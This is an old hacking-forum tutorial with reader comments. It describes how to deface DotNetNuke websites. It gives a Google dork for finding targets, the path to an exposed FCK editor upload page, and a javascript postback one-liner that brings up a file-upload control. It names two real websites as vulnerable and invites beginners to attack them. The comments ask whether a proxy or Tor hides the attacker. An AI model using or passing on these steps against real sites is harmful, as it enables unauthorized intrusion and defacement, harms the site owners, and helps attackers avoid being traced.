Hack Website Using DNN [Dot Net Nuke] Exploit

Using google DORK try to find the vulnerable website.

PHP Code

```
<?php  
inurl: "/portals/0"
```

You can also modify this google dork according to your need & requirement

I have found these 2 website vulnerable to this attack:

Code <http://www.wittur.se/>

<http://www.bsd405.org/>

n00bs can also try both of these websites for testing purpose.

Open the home page and check any image which is located in /portals/0/

Check the location of the image. It should be located in /portals/0/

Now here is the exploit

PHP Code

```
<?php  
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
```

HOW TO RUN ?

Simply copy paste it as shown below:

Code www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

You will see the portal where it will ask you to upload. Select the third option File (A File On Your Site

[img]<http://s014.radikal.ru/i326/1010/0e/43c8e77eac9b.jpg>[/img]

After selecting the third option, replace the URL bar with below script

PHP Code

```
<?php  
javascript: __doPostBack('ctlURL$cmdUpload','')
```

After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...THAT,S IT you have hacked the website.

yes it's working tut but 2 old tut anyway nice share

********* - October 30, 2010, 5:30 am

Is using a proxie enough protection for this?

Does a web proxie provide enough protection for this?
I torbutton or a web proxie enough?

No!!

:D lol

too short

Vito Scaletta - October 30, 2010, 4:16 pm

well, im a noob, can u help me a bit, cos i dont understand a thing on ur tut

longrifle0x - October 31, 2010, 12:25 am

Nico

Yeah I can help you write me PM bro :)

4bh1 - May 16, 2012, 8:02 am

Dude one problem I could not see the options to upload the image

SIM-2662262 - March 25, 2015, 11:04 am

Nice tut, but its extremely old. So not work for news website
